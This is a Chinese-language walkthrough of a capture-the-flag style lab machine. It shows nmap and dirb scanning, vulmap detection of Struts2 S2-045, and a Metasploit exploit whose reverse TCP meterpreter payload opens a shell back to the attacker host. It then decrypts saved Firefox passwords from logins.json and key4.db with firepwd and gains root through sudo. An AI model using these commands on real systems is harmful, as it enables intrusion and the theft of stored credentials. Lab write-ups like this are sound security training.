靶机下载地址
信息收集
主机发现
nmap扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
靶机ip:192.168.31.171。
端口扫描
nmap 192.168.31.171 -A -p- -T4
开放端口22,8080。
目录扫描
访问8080端口,如图,是tomcat管理页面,尝试弱口令登录页面失败。
dirb http://192.168.31.171:8080
无信息。
vulmap漏洞扫描
vulmap是一款可对Web容器、Web服务器、Web中间件以及CMS等Web程序进行漏洞扫描的漏扫工具,还有漏洞利用功能。
测试所有漏洞POC。
python3 vulmap.py -u http://192.168.31.171:8080/
样例目录操控漏洞,没什么利用价值。
继续扫描,--a参数指定漏洞进行检测,tomcat。
python3 vulmap.py -u http://192.168.31.171:8080/manager/html -a "tomcat"
访问http://192.168.31.171:8080/struts2-showcase/,的确存在struts2框架。
指定检测单个漏洞,struts2框架。
python3 vulmap.py -u http://192.168.31.171:8080/struts2-showcase/ -a "struts2"
存在S2-045和S2-046漏洞。Struts2框架存在多个远程代码执行(S2-005、S2-009、S2-013、S2-016、S2-019、S2-020、S2-037、S2-045、S2-046),恶意攻击者可利用漏洞直接获取应用系统的Webshell,甚至获取操作系统以及数据库的权限。
渗透
存在Struts2框架漏洞,msf中搜索exp利用。
search S2-045
S2-045有exp,直接利用。
use 0
options
set rhosts 192.168.31.171
set lhost 192.168.31.121
set payload cmd/unix/python/meterpreter/reverse_tcp
run
拿到meterpreter。
getshell。
# 进入靶机终端
shell
# 获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
get user.txt.
提权
上传提权辅助工具linux-exploit-suggester.sh,运行后提示脏牛漏洞可行。但是经过测试发现该靶机没有安装gcc,无法编译exp。
firefox密码破解
看了wp知道要通过mozilla firefox信息收集到minhtuan的密码才能进一步提权。
接下来找firefox存放用户所有登录信息(包括URL,用户名,密码和其他元数据)的文件,需要先确认firefox版本,因为不同的版本存放登录信息的文件名不同加密方式也可能不同。
firefox --version
Firefox 版本 <32 (key3.db, signons.sqlite)
Firefox 版本 >=32 (key3.db, logins.json)
Firefox 版本 >=58.0.2 (key4.db, logins.json)
locate定位文件位置。locate logins.json
将logins.json和key4.db下载到攻击机,用火狐浏览器密码破解工具firewd破解密码。破解前准备:
将logins.json和key4.db复制到firepwd.py同目录下,执行命令破解密码。
python firepwd.py logins.json
破解得到账户密码minhtuan:skysayohyeah
sudo提权
sudo -l
表示用户minhtuan可以使用sudo调用root权限执行命令。su root。
get root.txt!🎆